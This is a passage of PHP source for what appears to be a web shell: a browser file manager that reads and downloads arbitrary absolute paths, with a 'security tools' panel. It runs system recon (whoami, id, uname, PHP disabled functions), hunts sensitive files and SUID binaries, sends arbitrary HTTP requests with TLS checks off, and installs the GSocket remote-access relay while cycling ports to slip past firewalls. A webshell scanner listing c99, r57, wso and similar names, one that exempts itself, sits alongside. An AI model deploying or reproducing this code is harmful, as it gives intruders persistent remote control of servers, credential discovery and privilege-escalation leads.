0 && $path[0] === \’/\’) {
$path = preg_replace(\’#/+#\’, \’/\’, $path);
return $path;
}

// Original relative path logic
$path = str_replace(array(\’\’, \”\\0\”), array(\’/\’, \’\’), $path);
$path = trim($path, \’/\’);
$parts = array_filter(explode(\’/\’, $path), function($p) {
return $p !== \’\’ && $p !== \’.\’;
});
$clean = array();
foreach ($parts as $part) {
if ($part === \’..\’) { array_pop($clean); continue; }
if (preg_match(\’/[\\x00-\\x1f]/\’, $part)) continue;
$clean[] = $part;
}
return implode(\’/\’, $clean);
}

function resolvePath($baseDir, $relPath, $mustExist = true)
{
$rel = sanitizeRelPath($relPath);

// Handle absolute Windows paths (C:/, D:/, etc)
if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
// Convert to system path
$full = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);

if ($mustExist) {
$real = realpath($full);
if ($real !== false) {
return $real;
}
return null;
} else {
// Check if parent exists
$parent = dirname($full);
if (is_dir($parent) || is_dir($full)) {
return $full;
}
return null;
}
}

// Handle absolute Linux paths
if (strlen($rel) > 0 && $rel[0] === \’/\’) {
if ($mustExist) {
$real = realpath($rel);
if ($real !== false) {
return $real;
}
return null;
} else {
$parent = dirname($rel);
if (is_dir($parent) || is_dir($rel)) {
return $rel;
}
return null;
}
}

// Handle relative paths
$full = $rel === \’\’ ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
$real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);

if ($real === false || $real === null) {
if (!$mustExist) {
$parent = dirname($full);
$parentReal = realpath($parent);
$baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
$parentRealNormalized = $parentReal ? str_replace(\’\’, \’/\’, $parentReal) : \’\’;
if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
return $full;
}
}
return null;
}

$realNormalized = str_replace(\’\’, \’/\’, $real);
$baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
$starts = strpos($realNormalized, $baseDirNormalized) === 0;
return $starts ? $real : null;
}

function formatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . \' B\'; $units = array(\'KB\', \'MB\', \'GB\', \'TB\'); $v = $bytes / 1024; foreach ($units as $u) { if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . \’ \’ . $u;
$v /= 1024;
}
return number_format($v, 1) . \’ PB\’;
}

function fileIcon($name, $dir)
{
if ($dir) return \’folder\’;
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

$iconMap = array(
\’php\’ => \’php\’, \’phtml\’ => \’php\’,
\’js\’ => \’js\’, \’mjs\’ => \’js\’, \’ts\’ => \’js\’, \’tsx\’ => \’js\’, \’jsx\’ => \’js\’,
\’css\’ => \’css\’, \’scss\’ => \’css\’, \’sass\’ => \’css\’, \’less\’ => \’css\’,
\’html\’ => \’html\’, \’htm\’ => \’html\’,
\’json\’ => \’config\’, \’yaml\’ => \’config\’, \’yml\’ => \’config\’,
\’xml\’ => \’config\’, \’toml\’ => \’config\’, \’env\’ => \’config\’, \’ini\’ => \’config\’,
\’md\’ => \’text\’, \’txt\’ => \’text\’, \’log\’ => \’text\’,
\’png\’ => \’image\’, \’jpg\’ => \’image\’, \’jpeg\’ => \’image\’,
\’gif\’ => \’image\’, \’webp\’ => \’image\’, \’svg\’ => \’image\’, \’ico\’ => \’image\’,
\’zip\’ => \’archive\’, \’rar\’ => \’archive\’, \’7z\’ => \’archive\’,
\’tar\’ => \’archive\’, \’gz\’ => \’archive\’,
\’sql\’ => \’database\’, \’db\’ => \’database\’,
);

return isset($iconMap[$ext]) ? $iconMap[$ext] : \’file\’;
}

function isTextFile($path)
{
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$text = array(\’php\’,\’phtml\’,\’js\’,\’mjs\’,\’ts\’,\’tsx\’,\’jsx\’,\’css\’,\’scss\’,\’sass\’,\’less\’,\’html\’,\’htm\’,
\’json\’,\’yaml\’,\’yml\’,\’xml\’,\’toml\’,\’env\’,\’ini\’,\’md\’,\’txt\’,\’log\’,\’sql\’,\’htaccess\’,\’gitignore\’,\’csv\’);
if (in_array($ext, $text, true)) return true;
$size = filesize($path);
if ($size === false || $size > 512000) return false;
$fh = fopen($path, \’rb\’);
if (!$fh) return false;
$chunk = fread($fh, 8192); fclose($fh);
return $chunk !== false && !preg_match(\’/[\\x00-\\x08\\x0e-\\x1f]/\’, $chunk);
}

function gsocketIsFirewalled($output)
{
$out = strtolower((string)$output);
return strpos($out, \’cannot connect to gsrn\’) !== false
|| (strpos($out, \’firewalled\’) !== false && strpos($out, \’gsrn\’) !== false);
}

function runGsocket($method)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
return array(\’ok\’ => false, \’error\’ => \’GSocket installer requires bash (Linux/Unix).\’);
}
if (!function_exists(\’proc_open\’)) {
return array(\’ok\’ => false, \’error\’ => \’proc_open() is disabled on this server.\’);
}
@set_time_limit(1800);
@ini_set(\’max_execution_time\’, \’1800\’);

$portsToTry = array(null);
for ($p = 22; $p <= 67; $p++) { $portsToTry[] = $p; } $allOutput = \'\'; $attempts = 0; $successPort = null; $lastCommand = \'\'; $lastMethod = strtolower(trim((string)$method)); if ($lastMethod !== \'wget\') { $lastMethod = \'curl\'; } $lastExit = 1; $stoppedOnFirewalled = false; foreach ($portsToTry as $port) { $built = gsocketBuildCommand($method, $port); $command = $built[\'command\']; $lastCommand = $command; $lastMethod = $built[\'method\']; $label = ($port === null) ? \'default (no GS_PORT)\' : (\'GS_PORT=\' . $port); $attempts++; $result = runTerminal($command, $GLOBALS[\'baseDir\']); if ($result[\'output\'] === \'Failed to execute.\') { return array(\'ok\' => false, \’error\’ => \’Failed to execute GSocket installer.\’, \’command\’ => $command);
}

$lastExit = (int)$result[\’exit_code\’];
$firewalled = gsocketIsFirewalled($result[\’output\’]);
$allOutput .= \’=== Attempt \’ . $attempts . \’: \’ . $label . \” ===\\n\”;
$allOutput .= \’$ \’ . $command . \”\\n\\n\”;
$allOutput .= $result[\’output\’] . \”\\n\”;
$allOutput .= \'(exit \’ . $lastExit . \”)\\n\\n\”;

if (!$firewalled) {
$successPort = $port;
$allOutput .= \’=== SUCCESS: GSRN reachable with \’ . $label . \” ===\\n\”;
break;
}

$stoppedOnFirewalled = true;
if ($port !== null && $port >= 67) {
$allOutput .= \”=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\\n\”;
}
}

$portLabel = ($successPort === null) ? \’default\’ : (string)$successPort;

return array(
\’ok\’ => true,
\’output\’ => $allOutput,
\’exit_code\’ => $lastExit,
\’command\’ => $lastCommand,
\’method\’ => $lastMethod,
\’gs_port\’ => $successPort,
\’gs_port_label\’ => $portLabel,
\’attempts\’ => $attempts,
\’firewalled\’ => ($successPort === null && $stoppedOnFirewalled),
\’success\’ => ($successPort !== null || !$stoppedOnFirewalled),
);
}

function runSecTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
switch ($tool) {
case \’recon\’:
return secRecon($baseDir);
case \’sensitive\’:
return secSensitiveScan($baseDir, (string)_v($input, \’path\’, \’\’));
case \’processes\’:
return secProcesses($baseDir);
case \’network\’:
return secNetwork($baseDir);
case \’http\’:
return secHttpRequest(
(string)_v($input, \’url\’, \’\’),
(string)_v($input, \’method\’, \’GET\’),
(string)_v($input, \’headers\’, \’\’),
(string)_v($input, \’body\’, \’\’)
);
case \’hash\’:
return secHash((string)_v($input, \’text\’, \’\’), (string)_v($input, \’algo\’, \’sha256\’));
case \’codec\’:
return secCodec((string)_v($input, \’mode\’, \’b64enc\’), (string)_v($input, \’text\’, \’\’));
case \’dns\’:
return secDns((string)_v($input, \’host\’, \’\’), (string)_v($input, \’type\’, \’ALL\’));
case \’suid\’:
return secSuidFind($baseDir);
default:
return array(\’ok\’ => false, \’error\’ => \’Unknown security tool\’);
}
}

function secRecon($baseDir)
{
$lines = array();
$lines[] = \’=== SYSTEM RECON ===\’;
$lines[] = \’Timestamp : \’ . date(\’Y-m-d H:i:s T\’);
$lines[] = \’PHP : \’ . PHP_VERSION . \’ (\’ . PHP_SAPI . \’)\’;
$lines[] = \’OS : \’ . PHP_OS;
$lines[] = \’Server : \’ . (isset($_SERVER[\’SERVER_SOFTWARE\’]) ? $_SERVER[\’SERVER_SOFTWARE\’] : \’-\’);
$lines[] = \’Hostname : \’ . (function_exists(\’gethostname\’) ? gethostname() : \’-\’);
$lines[] = \’Doc Root : \’ . (isset($_SERVER[\’DOCUMENT_ROOT\’]) ? $_SERVER[\’DOCUMENT_ROOT\’] : \’-\’);
$lines[] = \’Script : \’ . __FILE__;
$lines[] = \’Base Dir : \’ . $baseDir;
$lines[] = \’Client IP : \’ . (isset($_SERVER[\’REMOTE_ADDR\’]) ? $_SERVER[\’REMOTE_ADDR\’] : \’-\’);
$lines[] = \’\’;

$lines[] = \’=== USER / PRIVILEGE ===\’;
$lines[] = \’PHP user : \’ . get_current_user();
if (function_exists(\’posix_geteuid\’)) {
$lines[] = \’UID/EUID : \’ . posix_getuid() . \’ / \’ . posix_geteuid();
$pw = @posix_getpwuid(posix_geteuid());
if ($pw) $lines[] = \’Account : \’ . $pw[\’name\’] . \’ (home: \’ . (isset($pw[\’dir\’]) ? $pw[\’dir\’] : \’-\’) . \’)\’;
$groups = @posix_getgroups();
if ($groups) {
$gn = array();
foreach ($groups as $gid) {
$g = @posix_getgrgid($gid);
$gn[] = $g ? $g[\’name\’] : $gid;
}
$lines[] = \’Groups : \’ . implode(\’, \’, $gn);
}
}
$whoami = runTerminal(\’whoami 2>&1\’, $baseDir);
$lines[] = \’whoami : \’ . trim($whoami[\’output\’]);
$id = runTerminal(\’id 2>&1\’, $baseDir);
$lines[] = \’id : \’ . trim($id[\’output\’]);
$lines[] = \’\’;

$lines[] = \’=== PHP SECURITY ===\’;
$lines[] = \’disable_functions : \’ . (ini_get(\’disable_functions\’) ? ini_get(\’disable_functions\’) : \'(none)\’);
$lines[] = \’open_basedir : \’ . (ini_get(\’open_basedir\’) ? ini_get(\’open_basedir\’) : \'(none)\’);
$lines[] = \’allow_url_fopen : \’ . (ini_get(\’allow_url_fopen\’) ? \’On\’ : \’Off\’);
$lines[] = \’allow_url_include : \’ . (ini_get(\’allow_url_include\’) ? \’On\’ : \’Off\’);
$lines[] = \’display_errors : \’ . (ini_get(\’display_errors\’) ? \’On\’ : \’Off\’);
$lines[] = \’expose_php : \’ . (ini_get(\’expose_php\’) ? \’On\’ : \’Off\’);
$lines[] = \’proc_open : \’ . (function_exists(\’proc_open\’) && !secFuncDisabled(\’proc_open\’) ? \’Available\’ : \’Disabled\’);
$lines[] = \’shell_exec : \’ . (function_exists(\’shell_exec\’) && !secFuncDisabled(\’shell_exec\’) ? \’Available\’ : \’Disabled\’);
$lines[] = \’curl : \’ . (function_exists(\’curl_init\’) ? \’Available\’ : \’Missing\’);
$lines[] = \’PDO : \’ . (class_exists(\’PDO\’) ? \’Available\’ : \’Missing\’);
$lines[] = \’\’;

$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if (!$isWin) {
$lines[] = \’=== KERNEL / SYSTEM ===\’;
$uname = runTerminal(\’uname -a 2>&1\’, $baseDir);
$lines[] = trim($uname[\’output\’]);
$lines[] = \’Uptime: \’ . trim(runTerminal(\’uptime 2>&1\’, $baseDir)[\’output\’]);
$lines[] = \’\’;
}

$lines[] = \’=== ENVIRONMENT (selected) ===\’;
$envKeys = array(\’PATH\’, \’HOME\’, \’USER\’, \’LOGNAME\’, \’SHELL\’, \’PWD\’, \’TEMP\’, \’TMP\’, \’HTTP_HOST\’, \’SERVER_NAME\’);
foreach ($envKeys as $k) {
$v = getenv($k);
if ($v !== false && $v !== \’\’) $lines[] = $k . \’=\’ . $v;
}

return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
}

function secFuncDisabled($fn)
{
$disabled = ini_get(\’disable_functions\’);
if (!$disabled) return false;
return in_array($fn, array_map(\’trim\’, explode(\’,\’, $disabled)), true);
}

$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$found = array();
if (!$isWin) {
$nameExpr = array();
foreach ($patterns as $p) {
$nameExpr[] = \’-name \’ . escapeshellarg($p);
}
$expr = \’\$ \’ . implode(\’ -o \’, $nameExpr) . \’ \$\’;
foreach ($roots as $root) {
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 \’ . $expr . \’ -type f 2>/dev/null | head -60\’;
$out = runTerminal($cmd, $baseDir);
foreach (explode(\”\\n\”, $out[\’output\’]) as $line) {
$line = trim($line);
if ($line !== \’\’ && @is_file($line)) {
$found[$line] = array(
\’path\’ => $line,
\’size\’ => @filesize($line),
\’perm\’ => substr(sprintf(\’%o\’, @fileperms($line)), -4),
\’readable\’ => @is_readable($line),
);
}
}
if (count($found) >= 80) break;
}
} else {
secWalkSensitive($roots[0], $patterns, $found, 0, 6);
}

$lines = array(\’=== SENSITIVE FILE SCAN ===\’, \’Roots: \’ . implode(\’, \’, $roots), \’Found: \’ . count($found), \’\’);
foreach ($found as $item) {
$flag = $item[\’readable\’] ? \'[R]\’ : \'[–]\’;
$lines[] = $flag . \’ \’ . $item[\’perm\’] . \’ \’ . secFormatBytes(isset($item[\’size\’]) ? $item[\’size\’] : 0) . \’ \’ . $item[\’path\’];
}
if (empty($found)) $lines[] = \'(no sensitive files found in scan scope)\’;

return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines), \’count\’ => count($found), \’files\’ => array_values($found));
}

function secFormatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . \'B\'; if ($bytes < 1048576) return round($bytes / 1024, 1) . \'K\'; return round($bytes / 1048576, 1) . \'M\'; } function secProcesses($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\'; $cmd = $isWin ? \'tasklist /V\' : \'ps auxww 2>/dev/null || ps -ef 2>/dev/null\’;
$result = runTerminal($cmd, $baseDir);
return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
}

function secHttpRequest($url, $method, $headersRaw, $body)
{
$url = trim($url);
if ($url === \’\’ || !preg_match(\’#^https?://#i\’, $url)) {
return array(\’ok\’ => false, \’error\’ => \’URL must start with http:// or https://\’);
}
$method = strtoupper(trim($method));
if (!in_array($method, array(\’GET\’, \’POST\’, \’PUT\’, \’PATCH\’, \’DELETE\’, \’HEAD\’, \’OPTIONS\’), true)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid HTTP method\’);
}

if (function_exists(\’curl_init\’)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
$hdrs = array();
foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== \’\’) $hdrs[] = $line;
}
if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
$resp = curl_exec($ch);
$err = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($resp === false) return array(\’ok\’ => false, \’error\’ => $err ? $err : \’Request failed\’);
$out = \”=== HTTP RESPONSE ===\\n\”;
$out .= \’URL : \’ . $url . \”\\n\”;
$out .= \’Method : \’ . $method . \”\\n\”;
$out .= \’Code : \’ . (isset($info[\’http_code\’]) ? $info[\’http_code\’] : \’?\’) . \”\\n\”;
$out .= \’Time : \’ . (isset($info[\’total_time\’]) ? round($info[\’total_time\’], 3) . \’s\’ : \’?\’) . \”\\n\\n\”;
$out .= $resp;
return array(\’ok\’ => true, \’output\’ => $out);
}

$cmd = \’curl -sS -k -i -X \’ . escapeshellarg($method);
foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== \’\’) $cmd .= \’ -H \’ . escapeshellarg($line);
}
if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
$cmd .= \’ –data \’ . escapeshellarg($body);
}
$cmd .= \’ \’ . escapeshellarg($url);
$result = runTerminal($cmd, $GLOBALS[\’baseDir\’]);
return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
}

function secSuidFind($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
return array(\’ok\’ => true, \’output\’ => \”=== SUID/SGID SCAN ===\\nLinux/Unix only.\\n\”);
}
$suid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80\’, $baseDir);
$sgid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40\’, $baseDir);
$cap = runTerminal(\’getcap -r /usr /bin /sbin 2>/dev/null | head -40\’, $baseDir);
$out = \”=== SUID BINARIES (setuid) ===\\n\” . trim($suid[\’output\’]) . \”\\n\\n\”;
$out .= \”=== SGID BINARIES (setgid) ===\\n\” . trim($sgid[\’output\’]) . \”\\n\\n\”;
$out .= \”=== CAPABILITIES ===\\n\” . trim($cap[\’output\’]);
return array(\’ok\’ => true, \’output\’ => $out);
}

function btFilenameIOCs($aggressive)
{
$iocs = array(
\’c99.php\’ => 55, \’r57.php\’ => 55, \’wso.php\’ => 55, \’wso2.php\’ => 55, \’wso1337.php\’ => 55,
\’shell.php\’ => 40, \’cmd.php\’ => 40, \’backdoor.php\’ => 55, \’b374k.php\’ => 55, \’b374.php\’ => 50,
\’alfa.php\’ => 50, \’alf.php\’ => 45, \’mini.php\’ => 25, \’uploader.php\’ => 30, \’upload.php\’ => 20,
\’x.php\’ => 25, \’xx.php\’ => 25, \’0.php\’ => 30, \’1.php\’ => 25, \’2.php\’ => 22,
\’indoxploit.php\’ => 55, \’fox.php\’ => 40, \’leaf.php\’ => 35, \’marijuana.php\’ => 50,
\’adminer.php\’ => 10, \’.user.ini\’ => 25, \’php.ini\’ => 15,
\’sym403.php\’ => 45, \’symlink.php\’ => 40, \’priv8.php\’ => 45, \’root.php\’ => 35,
\’hack.php\’ => 40, \’haxor.php\’ => 45, \’1337.php\’ => 40, \’locus.php\’ => 40,
\’c100.php\’ => 45, \’r00t.php\’ => 40, \’sh.php\’ => 35, \’bypass.php\’ => 35,
\’up.php\’ => 28, \’upl.php\’ => 28, \’filemanager.php\’ => 15, \’fm.php\’ => 30,
);
if ($aggressive) {
$iocs[\’test.php\’] = 12;
$iocs[\’tmp.php\’] = 18;
$iocs[\’cache.php\’] = 15;
$iocs[\’log.php\’] = 18;
$iocs[\’images.php\’] = 22;
$iocs[\’class.php\’] = 12;
$iocs[\’config.php.bak\’] = 30;
$iocs[\’wp-config.php.bak\’] = 35;
}
return $iocs;
}

function btSeverityLabel($score)
{
if ($score >= 50) return \’CRITICAL\’;
if ($score >= 30) return \’HIGH\’;
if ($score >= 15) return \’MEDIUM\’;
return \’LOW\’;
}

function btScanExtensions()
{
return array(\’php\’, \’phtml\’, \’php3\’, \’php4\’, \’php5\’, \’php7\’, \’php8\’, \’phar\’, \’inc\’, \’pht\’, \’phpt\’,
\’asp\’, \’aspx\’, \’jsp\’, \’js\’, \’shtml\’, \’htaccess\’, \’cgi\’, \’pl\’, \’py\’, \’sh\’, \’rb\’, \’vb\’, \’vbs\’);
}

function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
{
$realSelf = realpath($selfPath);
$realPath = @realpath($path);
if ($realSelf && $realPath && $realSelf === $realPath) return null;

$score = 0;
$hits = array();
$basename = strtolower(basename($path));
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

$allowedExt = btScanExtensions();
if (!in_array($ext, $allowedExt, true) && $basename !== \’.htaccess\’ && $basename !== \’.user.ini\’) {
if (!$aggressive || !preg_match(\’/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i\’, $basename)) {
return null;
}
}

foreach ($filenameIOCs as $ioc => $pts) {
if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace(\’.php\’, \’\’, $ioc))) !== false && preg_match(\’/\\.(php|phtml|php5|inc|bak)$/i\’, $basename))) {
$score += (int)$pts;
$hits[] = \’filename:\’ . $ioc;
}
}
btFilenameHeuristics($basename, $score, $hits, $aggressive);

$size = @filesize($path);
$maxRead = $aggressive ? 524288 : 98304;
$maxSize = $aggressive ? 8388608 : 5242880;
if ($size === false || $size > $maxSize) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path), \’note\’ => \’not content-scanned (large/unreadable)\’) : null;
}

$content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
if ($content === false || $content === \’\’) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path)) : null;
}

foreach ($signatures as $sig) {
if (@preg_match($sig[\’pattern\’], $content)) {
$score += (int)$sig[\’score\’];
$hits[] = $sig[\’name\’];
}
}

if ($size < 250 && preg_match(\'/eval|assert|base64_decode|shell_exec|system\\s*\\(|passthru\\s*\\(/is\', $content)) { $score += 28; $hits[] = \'tiny file + dangerous func\'; } if ($aggressive && preg_match(\'/<\\?(php|=)/i\', $content) && preg_match(\'/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i\', $basename)) { $score += 35; $hits[] = \'php tag in non-php extension (polyglot)\'; } if ($aggressive && preg_match_all(\'/[A-Za-z0-9+\\/=]{200,}/\', $content, $m) && count($m[0]) >= 2) {
$score += 12;
$hits[] = \’multiple long encoded blobs\’;
}

$minScore = $aggressive ? 6 : 12;
if ($score < $minScore) return null; return array( \'path\' => $path,
\’score\’ => $score,
\’severity\’ => btSeverityLabel($score),
\’hits\’ => array_values(array_unique($hits)),
\’size\’ => (int)$size,
\’modified\’ => @filemtime($path),
);
}

function btResolveThreatPath($baseDir, $path)
{
$path = trim((string)$path);
if ($path === \’\’) return null;
if (preg_match(\’/^[A-Za-z]:/\’, $path) || (strlen($path) > 0 && $path[0] === \’/\’)) {
$real = @realpath($path);
return ($real && @is_file($real)) ? $real : null;
}
return resolvePath($baseDir, $path);
}

function btQuarantineDir($baseDir)
{
$tmp = sys_get_temp_dir();
if (!$tmp) $tmp = $baseDir;
$dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . \’gecko_quarantine_\’ . substr(md5($baseDir), 0, 12);
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
return $dir;
}

function btManifestPath($baseDir)
{
return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . \’manifest.json\’;
}

function btSaveManifest($baseDir, $entries)
{
$file = btManifestPath($baseDir);
@file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}

function btDeleteThreats($baseDir, $paths)
{
$realSelf = @realpath(__FILE__);
$quarantined = array();
$failed = array();
if (!is_array($paths)) {
if (is_string($paths) && $paths !== \’\’) $paths = array($paths);
else $paths = array();
}
if (count($paths) > 200) {
return array(\’ok\’ => false, \’error\’ => \’Max 200 files per batch\’);
}
$qdir = btQuarantineDir($baseDir);
$manifest = btLoadManifest($baseDir);

foreach ($paths as $p) {
$p = trim((string)$p);
if ($p === \’\’) continue;
$resolved = btResolveThreatPath($baseDir, $p);
if (!$resolved) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Not found or not a file\’);
continue;
}
if ($realSelf && $resolved === $realSelf) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Protected (scanner itself)\’);
continue;
}
$id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
$safeName = preg_replace(\’/[^a-zA-Z0-9._-]/\’, \’_\’, basename($resolved));
$qpath = $qdir . DIRECTORY_SEPARATOR . $id . \’_\’ . $safeName;
if (!@rename($resolved, $qpath)) {
if (!@copy($resolved, $qpath)) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Move to quarantine failed\’);
continue;
}
@unlink($resolved);
}
$entry = array(
\’id\’ => $id,
\’original\’ => $resolved,
\’quarantine\’ => $qpath,
\’basename\’ => basename($resolved),
\’moved_at\’ => time(),
);
$manifest[] = $entry;
$quarantined[] = $entry;
}
btSaveManifest($baseDir, $manifest);

$out = \”=== QUARANTINE REPORT (moved to tmp) ===\\n\”;
$out .= \’Location: \’ . $qdir . \”\\n\”;
$out .= \’Quarantined: \’ . count($quarantined) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
foreach ($quarantined as $q) {
$out .= \'[MOVED] \’ . $q[\’original\’] . \”\\n\”;
$out .= \’ → \’ . $q[\’quarantine\’] . \’ (id:\’ . $q[\’id\’] . \”)\\n\”;
}
foreach ($failed as $f) {
$out .= \'[FAILED] \’ . $f[\’path\’] . \’ — \’ . $f[\’error\’] . \”\\n\”;
}
$out .= \”\\nFiles can be restored from Quarantine section below.\”;
return array(
\’ok\’ => true,
\’output\’ => $out,
\’quarantined\’ => $quarantined,
\’deleted\’ => array_map(function ($e) { return $e[\’original\’]; }, $quarantined),
\’failed\’ => $failed,
\’count\’ => count($quarantined),
\’dir\’ => $qdir,
);
}

function btRestoreThreats($baseDir, $ids)
{
if (!is_array($ids)) {
if (is_string($ids) && $ids !== \’\’) $ids = array($ids);
else $ids = array();
}
if (empty($ids)) {
return array(\’ok\’ => false, \’error\’ => \’No items selected to restore\’);
}
$manifest = btLoadManifest($baseDir);
$restored = array();
$failed = array();
$remaining = array();
$idSet = array_flip(array_map(\’strval\’, $ids));

foreach ($manifest as $entry) {
$eid = (string)$entry[\’id\’];
if (!isset($idSet[$eid])) {
$remaining[] = $entry;
continue;
}
$original = isset($entry[\’original\’]) ? $entry[\’original\’] : \’\’;
$qpath = isset($entry[\’quarantine\’]) ? $entry[\’quarantine\’] : \’\’;
if ($original === \’\’ || !is_file($qpath)) {
$failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Quarantine file missing\’);
continue;
}
$dest = $original;
if (is_file($dest)) {
$dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . \’.restored.\’ . time() . (pathinfo($original, PATHINFO_EXTENSION) ? \’.\’ . pathinfo($original, PATHINFO_EXTENSION) : \’\’);
}
$parent = dirname($dest);
if (!is_dir($parent)) {
@mkdir($parent, 0755, true);
}
if (!@rename($qpath, $dest)) {
if (!@copy($qpath, $dest)) {
$failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Restore failed\’);
$remaining[] = $entry;
continue;
}
@unlink($qpath);
}
$restored[] = array(\’id\’ => $eid, \’original\’ => $original, \’restored_to\’ => $dest);
}
btSaveManifest($baseDir, $remaining);

$out = \”=== RESTORE REPORT ===\\n\”;
$out .= \’Restored: \’ . count($restored) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
foreach ($restored as $r) {
$out .= \'[RESTORED] \’ . $r[\’original\’];
if ($r[\’restored_to\’] !== $r[\’original\’]) $out .= \’ → \’ . $r[\’restored_to\’];
$out .= \”\\n\”;
}
foreach ($failed as $f) {
$out .= \'[FAILED] \’ . (isset($f[\’path\’]) ? $f[\’path\’] : $f[\’id\’]) . \’ — \’ . $f[\’error\’] . \”\\n\”;
}
return array(
\’ok\’ => true,
\’output\’ => $out,
\’restored\’ => $restored,
\’failed\’ => $failed,
\’count\’ => count($restored),
);
}

function btFullAudit($baseDir, $scanPath)
{
@set_time_limit(600);
$parts = array();
$r1 = btWebshellScan($baseDir, $scanPath, true);
$parts[] = $r1[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btRecentChanges($baseDir, $scanPath, 7)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btWritableScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btHiddenScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btCronAudit($baseDir)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btIocScan($baseDir, $scanPath)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btSuspiciousProcess($baseDir)[\’output\’];
$parts[] = str_repeat(\’-\’, 60);
$parts[] = btLogAudit($baseDir)[\’output\’];
return array(
\’ok\’ => true,
\’output\’ => implode(\”\\n\\n\”, $parts),
\’count\’ => isset($r1[\’count\’]) ? $r1[\’count\’] : 0,
\’critical\’ => isset($r1[\’critical\’]) ? $r1[\’critical\’] : 0,
);
}

// Helper untuk akses array yang aman (pengganti operator ??)
function _v($arr, $key, $default = \’\’) {
return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}

// Handle download requests
if (isset($_GET[\’download\’])) {
$path = resolvePath($baseDir, (string)$_GET[\’download\’]);
